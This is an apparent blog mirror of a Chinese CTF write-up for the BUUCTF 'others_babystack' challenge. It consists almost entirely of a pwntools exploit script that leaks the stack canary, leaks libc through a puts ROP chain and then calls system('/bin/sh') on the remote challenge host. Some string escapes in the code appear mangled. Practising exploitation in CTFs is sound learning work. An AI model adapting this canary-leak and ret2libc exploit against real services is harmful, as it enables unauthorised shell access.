zoukankan      html  css  js  c++  java
  • others_babystack

    exp 脚本

    • 运用栈溢出泄露 canary 地址。
    • 栈溢出运用 puts 的 rop 泄露 libc 地址。
    • 再次栈溢出 rop 执行 system('/bin/sh')。
    from pwn import *
    
    #context.log_level = 'debug'
    
    io = remote('node3.buuoj.cn',26000)
    elf = ELF('./babystack')
    pop_rdi = 0x400a93
    ret = 0x400a2a
    libc = ELF('./libc/libc-2.23.so')
    
    io.sendlineafter('>>','1')
    io.sendline('a'*(0x90-0x8)) # canray 最低位的 x00 被覆盖为 
    
    io.sendlineafter('>>','2')
    io.recvuntil('a
    ')
    canary = u64(io.recv(7).rjust(8,'x00'))
    
    payload = 'a' * 0x88 + p64(canary) + 'a' * 0x8 
    payload += p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts'])
    payload += p64(0x400908)#注意进入主函数会开启另一个循环
    
    io.sendlineafter('>>','1')
    io.sendline(payload)
    io.sendlineafter('>>','3')#退出当前循环,也就是回到一开始的循环
    io.recv()
    
    puts_addr = u64(io.recv(6).ljust(8,'x00'))
    libcbase = puts_addr - libc.symbols['puts']
    system = libcbase + libc.symbols['system']
    binsh = libcbase + libc.search('/bin/sh').next()
    
    payload = 'a' * 0x88 + p64(canary) + 'b' * 0x8
    payload += p64(pop_rdi) + p64(binsh) + p64(system)
    io.sendlineafter('>>','1')
    io.sendline(payload)
    io.sendlineafter('>>','3')
    
    io.interactive()
    
    
    

    内容来源

    others_babystack

  • 相关阅读:
    文字预览蒙层组件
    h5按需引入Vant
    uni-app封装网络请求promise
    uniapp去修改vuex中state中的值
    uni-app之vuex(一)
    uni-app配置顶部标题样式
    uni-app组件 信息列表组件
    uni-app之条件编译
    uni-app封装input组件用于登录
    dfs序的应用
  • 原文地址:https://www.cnblogs.com/luoleqi/p/12410621.html
Copyright © 2011-2022 走看看